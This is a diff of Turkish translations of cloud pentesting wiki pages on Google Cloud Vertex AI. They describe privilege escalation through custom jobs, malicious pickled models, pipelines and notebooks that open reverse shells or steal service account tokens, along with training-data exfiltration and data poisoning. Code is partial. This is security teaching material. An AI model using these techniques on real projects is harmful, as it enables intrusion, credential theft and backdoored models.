||||
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
|
||||
|
||||
Bir servis hesabı adına bir OpenID token oluşturma örneğini [**burada**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py) bulabilirsiniz.
|
||||
Bir servis hesabı adına OpenID token oluşturmanın bir örneğini [**burada**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py) bulabilirsiniz.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
||||
@@ -10,17 +10,23 @@ Vertex AI hakkında daha fazla bilgi için bakınız:
|
||||
../gcp-services/gcp-vertex-ai-enum.md
|
||||
{{#endref}}
|
||||
|
||||
runtime metadata service, varsayılan Vertex AI service agent'ı ve proje çapında consumer / producer / tenant kaynaklarına pivotlama kullanılarak yapılan **Agent Engine / Reasoning Engine** post-exploitation yolları için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Hedef bir service account üzerinde `aiplatform.customJobs.create` iznine ve `iam.serviceAccounts.actAs` yetkisine sahip bir saldırgan, **yükseltilmiş ayrıcalıklarla rastgele kod çalıştırabilir**.
|
||||
Hedef bir service account üzerinde `aiplatform.customJobs.create` iznine ve `iam.serviceAccounts.actAs` yetkisine sahip olmak, bir saldırganın **yükseltilmiş ayrıcalıklarla herhangi bir kodu çalıştırmasına** olanak verir.
|
||||
|
||||
Bu, saldırgan kontrollü kodu (özel bir container veya Python package) çalıştıran bir custom training job oluşturarak gerçekleşir. `--service-account` bayrağı ile ayrıcalıklı bir service account belirtildiğinde, job bu service account'un izinlerini miras alır. Job, GCP metadata service erişimine sahip Google tarafından yönetilen altyapıda çalışır; bu da service account'un OAuth access token'ının çıkarılmasına olanak tanır.
|
||||
Bu, saldırgan kontrolündeki kodu (özel bir container veya Python paketi) çalıştıran bir custom training job oluşturarak gerçekleşir. `--service-account` bayrağı ile ayrıcalıklı bir service account belirtildiğinde, job o service account'un izinlerini devralır. Job, Google tarafından yönetilen altyapıda çalışır ve GCP metadata servisine erişimi olur; bu da service account'un OAuth erişim token'ının çıkarılmasına imkan verir.
|
||||
|
||||
**Etkisi**: Hedef service account'un izinlerine tam privilege escalation.
|
||||
**Impact**: Hedef service account'un izinlerine tam ayrıcalık yükseltmesi.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Reverse shell ile custom job oluşturma</summary>
|
||||
<summary>Reverse shell içeren custom job oluşturma</summary>
|
||||
```bash
|
||||
# Method 1: Reverse shell to attacker-controlled server (most direct access)
|
||||
gcloud ai custom-jobs create \
|
||||
@@ -49,7 +55,7 @@ gcloud ai custom-jobs create \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Alternatif: Günlüklerden token çıkarma</summary>
|
||||
<summary>Alternatif: Token'ı günlüklerden çıkar</summary>
|
||||
```bash
|
||||
# Method 3: View in logs (less reliable, logs may be delayed)
|
||||
gcloud ai custom-jobs create \
|
||||
@@ -68,14 +74,14 @@ gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
|
||||
### `aiplatform.models.upload`, `aiplatform.models.get`
|
||||
|
||||
Bu teknik, bir modeli Vertex AI'ye yükleyip ardından bu modeli bir endpoint deployment veya batch prediction job aracılığıyla ayrıcalıklı kod çalıştırmak için kullanarak privilege escalation sağlar.
|
||||
Bu teknik, Vertex AI'ye bir model yükleyerek ve ardından bu modeli bir endpoint deployment veya batch prediction job aracılığıyla yükseltilmiş ayrıcalıklarla kod çalıştırmak için kullanarak ayrıcalık yükseltmesi sağlar.
|
||||
|
||||
> [!NOTE]
|
||||
> Bu saldırıyı gerçekleştirmek için model artifacts'lerini yükleyebileceğiniz herkese okunabilir (world readable) bir GCS bucket'e sahip olmanız veya yeni bir tane oluşturmanız gerekir.
|
||||
> Bu saldırıyı gerçekleştirmek için model artifacts'lerini yüklemek üzere herkese açık okunabilir bir GCS bucket'a sahip olmak veya yeni bir tane oluşturmak gerekir.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Zararlı pickled model yükle (reverse shell ile)</summary>
|
||||
<summary>Upload malicious pickled model with reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
|
||||
# Create malicious sklearn model that executes reverse shell when loaded
|
||||
@@ -111,7 +117,7 @@ gcloud ai models upload \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Modeli container reverse shell ile yükle</summary>
|
||||
<summary>container reverse shell ile model yükle</summary>
|
||||
```bash
|
||||
# Method 2 using --container-args to run a persistent reverse shell
|
||||
|
||||
@@ -143,15 +149,16 @@ gcloud ai models upload \
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Kötü amaçlı modeli yükledikten sonra saldırgan, birinin modeli kullanmasını bekleyebilir veya modeli kendisi bir endpoint dağıtımı ya da batch prediction işi aracılığıyla çalıştırabilir.
|
||||
> Kötü amaçlı modeli yükledikten sonra saldırgan, modelin birisi tarafından kullanılmasını bekleyebilir veya modeli kendisi bir endpoint deployment veya batch prediction job aracılığıyla başlatabilir.
|
||||
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
|
||||
|
||||
Eğer modelleri endpoint'lere oluşturma ve dağıtma izinlerine veya endpoint IAM politikalarını değiştirme izinlerine sahipseniz, projede yüklenmiş kötü amaçlı modelleri kullanarak privilege escalation gerçekleştirebilirsiniz. Daha önce yüklenmiş kötü amaçlı modellerden birini bir endpoint aracılığıyla tetiklemek için yapmanız gerekenler şunlardır:
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) veya ( `aiplatform.endpoints.setIamPolicy` )
|
||||
|
||||
Eğer endpoint'lere model oluşturma ve deploy etme ya da endpoint IAM politikalarını değiştirme izinlerine sahipseniz, projeye yüklenmiş kötü amaçlı modelleri privilege escalation elde etmek için kullanabilirsiniz. Bir endpoint aracılığıyla daha önce yüklenmiş kötü amaçlı modellerden birini tetiklemek için yapmanız gerekenler:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kötü amaçlı modeli endpoint'e dağıt</summary>
|
||||
<summary>Kötü amaçlı modeli endpoint'e deploy et</summary>
|
||||
```bash
|
||||
# Create an endpoint
|
||||
gcloud ai endpoints create \
|
||||
@@ -172,16 +179,14 @@ gcloud ai endpoints deploy-model <endpoint-id> \
|
||||
|
||||
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Eğer bir **batch prediction jobs** oluşturma ve bunu bir service account ile çalıştırma izniniz varsa metadata service'e erişebilirsiniz. Kötü amaçlı kod, batch prediction süreci sırasında bir **custom prediction container** veya **malicious model** içinde çalıştırılır.
|
||||
|
||||
**Note**: Batch prediction jobs yalnızca REST API veya Python SDK ile oluşturulabilir (gcloud CLI desteği yok).
|
||||
Bir **batch prediction jobs** oluşturma izniniz ve bunu bir service account ile çalıştırma yetkiniz varsa metadata service'e erişebilirsiniz. Kötü amaçlı kod, batch prediction süreci sırasında bir **custom prediction container** veya **malicious model** içinden çalıştırılır.
|
||||
|
||||
> [!NOTE]
|
||||
> Bu saldırı önce bir malicious model yüklemeyi (bkz. yukarıdaki `aiplatform.models.upload` bölümü) veya reverse shell code içeren bir custom prediction container kullanmayı gerektirir.
|
||||
> Bu saldırı önce bir malicious model yüklemeyi (bkz. `aiplatform.models.upload` bölüm yukarıda) veya reverse shell kodunuzu içeren bir custom prediction container kullanmayı gerektirir.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Malicious model ile batch prediction job oluşturma</summary>
|
||||
<summary>Malicious model ile batch prediction job oluştur</summary>
|
||||
```bash
|
||||
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
|
||||
gcloud ai models upload \
|
||||
@@ -237,10 +242,10 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
|
||||
|
||||
### `aiplatform.models.export`
|
||||
|
||||
Eğer **models.export** iznine sahipseniz, model artefaktlarını kontrolünüzdeki bir GCS bucket'a dışa aktarabilir ve potansiyel olarak hassas eğitim verilerine veya model dosyalarına erişebilirsiniz.
|
||||
Eğer **models.export** iznine sahipseniz, kontrol ettiğiniz bir GCS bucket'a model artefaktlarını dışa aktarabilir ve potansiyel olarak hassas eğitim verilerine veya model dosyalarına erişebilirsiniz.
|
||||
|
||||
> [!NOTE]
|
||||
> Bu attack'i gerçekleştirmek için herkese açık (okunabilir ve yazılabilir) bir GCS bucket'ına sahip olmanız veya model artefaktlarını yüklemek için yeni bir bucket oluşturmanız gerekir.
|
||||
> Bu attack'i gerçekleştirmek için, model artefaktlarını yüklemek amacıyla herkese okunur ve yazılabilir bir GCS bucket'a sahip olmak veya yeni bir tane oluşturmak gerekir.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -271,16 +276,16 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
|
||||
|
||||
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Oluşturun **ML pipeline jobs**; rastgele container'larla birden çok adımı çalıştıran ve reverse shell erişimi yoluyla privilege escalation sağlayan işler.
|
||||
Rastgele konteynerlerle birden fazla adım çalıştıran ve reverse shell erişimiyle privilege escalation sağlayan **ML pipeline jobs** oluşturun.
|
||||
|
||||
Pipelines, her bileşenin farklı container'lar ve yapılandırmalar kullanabildiği multi-stage attacks'i destekledikleri için privilege escalation için özellikle güçlüdür.
|
||||
Pipelines, privilege escalation için özellikle güçlüdür; çünkü her bileşenin farklı konteyner ve yapılandırmalar kullanabileceği çok aşamalı saldırıları destekler.
|
||||
|
||||
> [!NOTE]
|
||||
> Pipeline kökü olarak kullanmak için herkese yazılabilir bir GCS bucket gerekir.
|
||||
> Pipeline kökü olarak kullanmak için herkesin yazabildiği (world writable) bir GCS bucket'a ihtiyacınız var.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Vertex AI SDK'yı yükleyin</summary>
|
||||
<summary>Vertex AI SDK'yi yükleyin</summary>
|
||||
```bash
|
||||
# Install the Vertex AI SDK first
|
||||
pip install google-cloud-aiplatform
|
||||
@@ -289,7 +294,7 @@ pip install google-cloud-aiplatform
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Reverse shell container içeren pipeline job oluştur</summary>
|
||||
<summary>Reverse shell container ile pipeline job oluştur</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
@@ -383,15 +388,15 @@ print(f" {response.text}")
|
||||
|
||||
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Özel training container'lar aracılığıyla yükseltilmiş ayrıcalıklarla rastgele kod çalıştıran hyperparameter tuning jobs oluşturun.
|
||||
Özel custom training containers aracılığıyla yükseltilmiş ayrıcalıklarla rastgele kod çalıştıran **hyperparameter tuning jobs** oluşturun.
|
||||
|
||||
Hyperparameter tuning jobs, farklı hyperparameter değerleriyle paralel olarak birden fazla training denemesi yürütmenize olanak tanır. Reverse shell veya exfiltration komutu içeren kötü amaçlı bir container belirleyip bunu ayrıcalıklı bir service account ile ilişkilendirerek privilege escalation gerçekleştirebilirsiniz.
|
||||
Hyperparameter tuning jobs, farklı hyperparameter değerleriyle paralel olarak birden çok training denemesini çalıştırmanıza izin verir. Kötü amaçlı bir container içinde reverse shell veya exfiltration komutu belirleyip bunu ayrıcalıklı bir service account ile ilişkilendirerek privilege escalation sağlayabilirsiniz.
|
||||
|
||||
**Impact**: Hedef service account'un izinlerine tam privilege escalation.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Reverse shell ile hyperparameter tuning job oluşturun</summary>
|
||||
<summary>Reverse shell içeren hyperparameter tuning job oluşturma</summary>
|
||||
```bash
|
||||
# Method 1: Python reverse shell (most reliable)
|
||||
# Create HP tuning job config with reverse shell
|
||||
@@ -432,15 +437,15 @@ gcloud ai hp-tuning-jobs create \
|
||||
|
||||
### `aiplatform.datasets.export`
|
||||
|
||||
Eğitim verilerini exfiltrate etmek için **veri setlerini** dışa aktarın; bunlar hassas bilgi içerebilir.
|
||||
Eğitim verilerini (hassas bilgiler içerebilecek) sızdırmak için **veri kümelerini** dışa aktar.
|
||||
|
||||
**Not**: Veri seti işlemleri REST API veya Python SDK gerektirir (gcloud CLI veri setleri için destek sağlamaz).
|
||||
**Note**: Veri kümesi işlemleri REST API veya Python SDK gerektirir (gcloud CLI için veri kümeleri desteği yok).
|
||||
|
||||
Veri setleri genellikle üretim modellerini eğitmek için kullanılan orijinal eğitim verilerini içerir; bunlar PII, gizli iş verileri veya diğer hassas bilgileri içerebilir.
|
||||
Veri kümeleri genellikle orijinal eğitim verilerini içerir; bunlar PII, gizli işletme verileri veya üretim modellerini eğitmek için kullanılan diğer hassas bilgileri içerebilir.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Eğitim verilerini exfiltrate etmek için veri setini dışa aktar</summary>
|
||||
<summary>Eğitim verilerini sızdırmak için veri kümesini dışa aktar</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find a target dataset ID
|
||||
PROJECT="your-project"
|
||||
@@ -489,25 +494,25 @@ cat exported-data/*/data-*.jsonl
|
||||
|
||||
### `aiplatform.datasets.import`
|
||||
|
||||
Mevcut veri kümelerine kötü amaçlı veya zehirlenmiş veri içe aktararak **model eğitimini manipüle etmek ve backdoors oluşturmak**.
|
||||
Mevcut dataset'lere kötü amaçlı veya poisoned veri import ederek **model eğitimini manipüle etmek ve backdoors eklemek**.
|
||||
|
||||
**Not**: Veri kümesi işlemleri REST API veya Python SDK gerektirir (no gcloud CLI support for datasets).
|
||||
**Not**: Dataset işlemleri REST API veya Python SDK gerektirir (datasets için gcloud CLI desteği yok).
|
||||
|
||||
Eğitim için kullanılan ML modellerinin veri kümesine özel hazırlanmış veri içe aktararak bir saldırgan şunları yapabilir:
|
||||
- Modellerde backdoors oluşturmak (trigger-based misclassification)
|
||||
- Model performansını düşürmek için eğitim verisini zehirlemek
|
||||
- Modellerin bilgi leak etmesine neden olacak veri enjekte etmek
|
||||
Eğitim için kullanılan bir dataset'e crafted veri import ederek saldırgan şunları yapabilir:
|
||||
- Model'lara backdoors eklemek (trigger-based yanlış sınıflandırma)
|
||||
- Eğitim verisini poison ederek model performansını düşürmek
|
||||
- Modellerin bilgi leak etmesine neden olacak veri inject etmek
|
||||
- Belirli girdiler için model davranışını manipüle etmek
|
||||
|
||||
Bu saldırı özellikle şu amaçlarla kullanılan veri kümelerini hedef aldığında oldukça etkilidir:
|
||||
- Görüntü sınıflandırma (yanlış etiketlenmiş görüntüler enjekte etmek)
|
||||
- Metin sınıflandırma (önyargılı veya kötü amaçlı metin enjekte etmek)
|
||||
- Nesne tespiti (sınır kutularını manipüle etmek)
|
||||
- Öneri sistemleri (sahte tercihleri enjekte etmek)
|
||||
Bu saldırı, şu amaçlarla kullanılan dataset'leri hedeflediğinde özellikle etkilidir:
|
||||
- Görüntü sınıflandırma (mislabeled görüntüler inject etmek)
|
||||
- Metin sınıflandırma (biased veya kötü amaçlı metin inject etmek)
|
||||
- Nesne tespiti (bounding box'ları manipüle etmek)
|
||||
- Öneri sistemleri (sahte tercihleri inject etmek)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Zehirlenmiş veriyi veri kümesine içe aktar</summary>
|
||||
<summary>Dataset'e poisoned veri import et</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find target
|
||||
PROJECT="your-project"
|
||||
@@ -568,7 +573,7 @@ curl -s -X GET \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Backdoor attack - Görüntü sınıflandırma</summary>
|
||||
<summary>Arka kapı saldırısı - Görüntü sınıflandırma</summary>
|
||||
```bash
|
||||
# Scenario 1: Backdoor Attack - Image Classification
|
||||
# Create images with a specific trigger pattern that causes misclassification
|
||||
@@ -581,7 +586,7 @@ gsutil cp backdoor.jsonl gs://your-bucket/attacks/
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Etiket çevirme saldırısı</summary>
|
||||
<summary>Label flipping attack</summary>
|
||||
```bash
|
||||
# Scenario 2: Label Flipping Attack
|
||||
# Systematically mislabel a subset of data to degrade model accuracy
|
||||
@@ -595,7 +600,7 @@ done > label_flip.jsonl
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Model çıkarımı için veri zehirleme</summary>
|
||||
<summary>Data poisoning için model extraction</summary>
|
||||
```bash
|
||||
# Scenario 3: Data Poisoning for Model Extraction
|
||||
# Inject carefully crafted queries to extract model behavior
|
||||
@@ -622,38 +627,38 @@ EOF
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Data poisoning attacks can have severe consequences:
|
||||
> - **Security systems**: Yüz tanıma veya anomali tespitini atlatmak
|
||||
> - **Fraud detection**: Modelleri belirli dolandırıcılık kalıplarını görmezden gelecek şekilde eğitmek
|
||||
> - **Content moderation**: Zararlı içeriğin güvenli olarak sınıflandırılmasına neden olmak
|
||||
> - **Medical AI**: Kritik sağlık durumlarını yanlış sınıflandırmak
|
||||
> - **Autonomous systems**: Güvenlikle ilgili kararlar için nesne tespitini manipüle etmek
|
||||
|
||||
**Impact**:
|
||||
- Backdoored modellerin belirli tetikleyicilerde yanlış sınıflandırma yapması
|
||||
- Model performansında ve doğruluğunda bozulma
|
||||
- Belirli girdilere karşı ayrımcılık yapan önyargılı modeller
|
||||
- Model davranışı yoluyla bilgi sızıntısı
|
||||
- Uzun vadeli kalıcılık (zehirlenmiş verilerle eğitilen modeller arka kapağı devralır)
|
||||
> Data poisoning saldırıları ciddi sonuçlar doğurabilir:
|
||||
> - **Security systems**: Yüz tanıma veya anomali tespitini atlatma
|
||||
> - **Fraud detection**: Modellerin belirli dolandırıcılık kalıplarını görmezden gelmesi için eğitilmesi
|
||||
> - **Content moderation**: Zararlı içeriğin güvenli olarak sınıflandırılmasına neden olma
|
||||
> - **Medical AI**: Kritik sağlık durumlarını yanlış sınıflandırma
|
||||
> - **Autonomous systems**: Güvenlik açısından kritik kararlar için nesne tespitinin manipüle edilmesi
|
||||
>
|
||||
> **Impact**:
|
||||
> - Backdoored modellerin belirli tetikleyicilerde yanlış sınıflandırma yapması
|
||||
> - Model performansında ve doğruluğunda düşüş
|
||||
> - Belirli girdilere karşı ayrımcılık yapan yanlı modeller
|
||||
> - Information leakage through model behavior
|
||||
> - Uzun vadeli kalıcılık (poisoned data ile eğitilen modeller backdoor'u devralır)
|
||||
|
||||
|
||||
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
> [!WARNING]
|
||||
> > [!NOTE]
|
||||
> **Deprecated API**: `aiplatform.notebookExecutionJobs.create` API'si, Vertex AI Workbench Managed Notebooks'ün kullanım dışı bırakılması kapsamında deprecated durumdadır. Modern yaklaşım, notebook'ları `aiplatform.customJobs.create` üzerinden çalıştıran **Vertex AI Workbench Executor** kullanmaktır (yukarıda zaten belgelenmiştir).
|
||||
> Vertex AI Workbench Executor, belirli bir servis hesabı ile Vertex AI custom training altyapısında çalışacak şekilde notebook çalıştırmalarını zamanlamaya olanak tanır. Bu temelde `customJobs.create` etrafında bir kolaylık sarmalayıcısıdır.
|
||||
> **Notebooks üzerinden ayrıcalık yükseltme için**: Yukarıda belgelenen `aiplatform.customJobs.create` yöntemini kullanın; bu yöntem daha hızlı, daha güvenilir ve Workbench Executor ile aynı altta yatan altyapıyı kullanır.
|
||||
> **Kullanımdan kaldırılmış API**: `aiplatform.notebookExecutionJobs.create` API'si, Vertex AI Workbench Managed Notebooks'in kullanımdan kaldırılması kapsamında deprecated'dir. Modern yaklaşım, notebukları `aiplatform.customJobs.create` üzerinden çalıştıran **Vertex AI Workbench Executor** kullanmaktır (yukarıda zaten belgelenmiştir).
|
||||
> Vertex AI Workbench Executor, belirli bir servis hesabı ile Vertex AI custom training altyapısı üzerinde çalışacak notebook çalıştırmalarını zamanlamanıza olanak tanır. Bu temelde `customJobs.create` etrafında bir kolaylık sarmalayıcısıdır.
|
||||
> **Notebooks yoluyla ayrıcalık yükseltme için**: Yukarıda belgelenen `aiplatform.customJobs.create` yöntemini kullanın; bu daha hızlı, daha güvenilir ve Workbench Executor ile aynı altyapıyı kullanır.
|
||||
|
||||
**Aşağıdaki teknik yalnızca tarihsel bağlam için verilmiştir ve yeni değerlendirmelerde kullanılması önerilmez.**
|
||||
|
||||
Rastgele kod çalıştıran Jupyter notebook'ları çalıştıran **notebook execution jobs** oluşturun.
|
||||
Rastgele kod çalıştıran Jupyter notebook'larını çalıştıracak **notebook execution jobs** oluşturun.
|
||||
|
||||
Notebook işleri, Python kod hücrelerini ve shell komutlarını destekledikleri için servis hesabı ile etkileşimli tarzda kod çalıştırma için idealdir.
|
||||
Notebook job'ları, Python kod hücrelerini ve shell komutlarını desteklediği için servis hesabı ile etkileşimli tarzda kod çalıştırma için idealdir.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kötücül notebook dosyası oluştur</summary>
|
||||
<summary>Kötü amaçlı notebook dosyası oluşturma</summary>
|
||||
```bash
|
||||
# Create a malicious notebook
|
||||
cat > malicious.ipynb <<'EOF'
|
||||
@@ -680,7 +685,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Hedef hizmet hesabıyla notebook'u çalıştır</summary>
|
||||
<summary>Hedef service account ile notebook'u çalıştır</summary>
|
||||
```bash
|
||||
# Create notebook execution job using REST API
|
||||
PROJECT="gcp-labs-3uis1xlx"
|
||||
@@ -708,7 +713,7 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
|
||||
</details>
|
||||
|
||||
|
||||
## Referanslar
|
||||
## Kaynaklar
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
|
||||
|
||||
@@ -4,102 +4,108 @@
|
||||
|
||||
## Vertex AI
|
||||
|
||||
[Vertex AI](https://cloud.google.com/vertex-ai) Google Cloud'un ölçekte AI modelleri oluşturmak, dağıtmak ve yönetmek için kullandığı birleşik machine learning platformudur. Veri bilimciler ve ML mühendislerinin:
|
||||
[Vertex AI](https://cloud.google.com/vertex-ai), Google Cloud'un ölçeklenebilir AI modelleri oluşturma, dağıtma ve yönetme için kullanılan **birleşik makine öğrenimi platformu**dur. Farklı AI ve ML servislerini tek, entegre bir platformda birleştirir ve veri bilimciler ile ML mühendislerinin şunları yapmasına olanak tanır:
|
||||
|
||||
- **Özel modelleri eğitmesini** AutoML veya özel training ile
|
||||
- **Modelleri dağıtıp** tahminler için ölçeklenebilir endpoints'lere konuşlandırmasını
|
||||
- **ML yaşam döngüsünü yönetmesini** deney aşamasından production'a kadar
|
||||
- **Model Garden**'dan önceden eğitilmiş modellere erişmesini
|
||||
- **Model performansını izleyip optimize etmesini**
|
||||
- **Özel modelleri eğitmek** AutoML veya özel eğitim kullanarak
|
||||
- **Modelleri dağıtmak** tahminler için ölçeklenebilir uç noktalara
|
||||
- **ML yaşam döngüsünü yönetmek** denemeden üretime kadar
|
||||
- **Önceden eğitilmiş modellere erişmek** Model Garden üzerinden
|
||||
- **Model performansını izlemek ve optimize etmek**
|
||||
|
||||
sağlar.
|
||||
### Agent Engine / Reasoning Engine
|
||||
|
||||
### Temel Bileşenler
|
||||
**Agent Engine / Reasoning Engine** için **metadata credential theft**, **P4SA abuse** ve **producer/tenant project pivoting** içeren özel keşif ve post-exploitation yolları için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Ana Bileşenler
|
||||
|
||||
#### Models
|
||||
|
||||
Vertex AI **models**, tahmin sunmak için endpoints'e deploy edilebilen eğitilmiş machine learning modellerini temsil eder. Modeller:
|
||||
Vertex AI **models**, tahmin sunmak için uç noktalara dağıtılabilen eğitilmiş makine öğrenimi modellerini temsil eder. Modeller şunlarla oluşturulabilir:
|
||||
|
||||
- Özel container'lar veya model artifact'lerinden **yüklenebilir**
|
||||
- **AutoML** ile oluşturulabilir
|
||||
- **Model Garden**'dan (önceden eğitilmiş modeller) içe aktarılabilir
|
||||
- Model başına birden fazla versiyon ile **versioned** olabilir
|
||||
- **Yüklenen** özel container'lardan veya model artifact'lerinden
|
||||
- **AutoML** ile eğitilerek oluşturulan
|
||||
- **Model Garden**'dan (önceden eğitilmiş modeller) içe aktarılan
|
||||
- Model başına birden fazla sürümle **sürümlenmiş**
|
||||
|
||||
Her modelin framework, container image URI, artifact konumu ve serving konfigürasyonu gibi metadata'sı bulunur.
|
||||
Her modelin framework, container image URI'si, artifact konumu ve servis yapılandırması dahil olmak üzere metadata'sı vardır.
|
||||
|
||||
#### Endpoints
|
||||
|
||||
**Endpoints**, deploy edilmiş modelleri barındıran ve online tahminler sunan kaynaklardır. Öne çıkan özellikler:
|
||||
**Endpoints**, dağıtılmış modelleri barındıran ve online tahminler sunan kaynaklardır. Temel özellikleri:
|
||||
|
||||
- **Birden fazla deployed model** barındırabilir (traffic splitting ile)
|
||||
- Gerçek zamanlı tahminler için **HTTPS endpoints** sağlar
|
||||
- **Birden fazla deployed model** barındırabilir (trafik bölme ile)
|
||||
- Gerçek zamanlı tahminler için **HTTPS uç noktaları** sağlar
|
||||
- Trafiğe göre **autoscaling** destekler
|
||||
- **Private** veya **public** erişim kullanabilir
|
||||
- Trafik bölme ile **A/B testing** destekler
|
||||
- Trafik bölme ile **A/B testleri** destekler
|
||||
|
||||
#### Custom Jobs
|
||||
|
||||
**Custom jobs**, kendi container'larınızı veya Python paketlerinizi kullanarak özel training kodu çalıştırmanıza olanak tanır. Özellikler:
|
||||
**Custom jobs**, kendi container'larınızı veya Python paketlerinizi kullanarak özel eğitim kodu çalıştırmanızı sağlar. Özellikleri:
|
||||
|
||||
- Birden fazla worker pool ile **distributed training** desteği
|
||||
- Konfigüre edilebilir **machine types** ve **accelerators** (GPUs/TPUs)
|
||||
- Birden çok worker pool ile **dağıtık eğitim** desteği
|
||||
- Yapılandırılabilir **machine types** ve **accelerators** (GPUs/TPUs)
|
||||
- Diğer GCP kaynaklarına erişim için **service account** iliştirme
|
||||
- Görselleştirme için **Vertex AI Tensorboard** entegrasyonu
|
||||
- **VPC connectivity** seçenekleri
|
||||
|
||||
#### Hyperparameter Tuning Jobs
|
||||
|
||||
Bu job'lar farklı parametre kombinasyonlarıyla birden fazla training trial çalıştırarak optimal hyperparameter'ları otomatik olarak **aranmasını** sağlar.
|
||||
Bu işler, farklı parametre kombinasyonlarıyla birden çok eğitim denemesi çalıştırarak **optimal hiperparametreleri otomatik olarak arar**.
|
||||
|
||||
#### Model Garden
|
||||
|
||||
**Model Garden**, şu kaynaklara erişim sağlar:
|
||||
**Model Garden** şunlara erişim sağlar:
|
||||
|
||||
- Önceden eğitilmiş Google modelleri
|
||||
- Açık kaynak modeller (Hugging Face dahil)
|
||||
- Üçüncü taraf modeller
|
||||
- Tek tıklamayla dağıtım imkanları
|
||||
- Tek tıklamayla dağıtım yetenekleri
|
||||
|
||||
#### Tensorboards
|
||||
|
||||
**Tensorboards**, ML deneyleri için görselleştirme ve izleme sağlar; metrikleri, model grafikleri ve eğitim ilerlemesini takip eder.
|
||||
**Tensorboards**, ML deneyleri için görselleştirme ve izleme sağlar; metrikleri, model grafiklerini ve eğitim ilerlemesini takip eder.
|
||||
|
||||
### Service Accounts & Permissions
|
||||
|
||||
Varsayılan olarak, Vertex AI servisleri proje üzerinde **Editor** izinlerine sahip olan **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`) kullanır. Ancak şu durumlarda özel service account belirtebilirsiniz:
|
||||
Varsayılan olarak, Vertex AI servisleri proje üzerinde **Editor** izinlerine sahip olan **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`) kullanır. Ancak şu durumlarda özel service account belirleyebilirsiniz:
|
||||
|
||||
- Custom jobs oluştururken
|
||||
- Modeller yüklerken
|
||||
- Modelleri endpoints'e deploy ederken
|
||||
- Modelleri endpoints'e dağıtırken
|
||||
|
||||
Bu service account şunlar için kullanılır:
|
||||
- Cloud Storage içindeki training verilerine erişim
|
||||
- Eğitim verilerine Cloud Storage üzerinden erişim
|
||||
- Cloud Logging'e log yazma
|
||||
- Secret Manager'dan secret'lara erişim
|
||||
- Diğer GCP servisleriyle etkileşim
|
||||
|
||||
### Data Storage
|
||||
|
||||
- **Model artifacts** Cloud Storage bucket'larında saklanır
|
||||
- **Training data** genellikle Cloud Storage veya BigQuery'de bulunur
|
||||
- **Container images** Artifact Registry veya Container Registry'de saklanır
|
||||
- **Logs** Cloud Logging'e gönderilir
|
||||
- **Metrics** Cloud Monitoring'e gönderilir
|
||||
- **Model artifact'leri** Cloud Storage bucket'larında saklanır
|
||||
- **Eğitim verisi** genellikle Cloud Storage veya BigQuery'de bulunur
|
||||
- **Container image'ları** Artifact Registry veya Container Registry'de saklanır
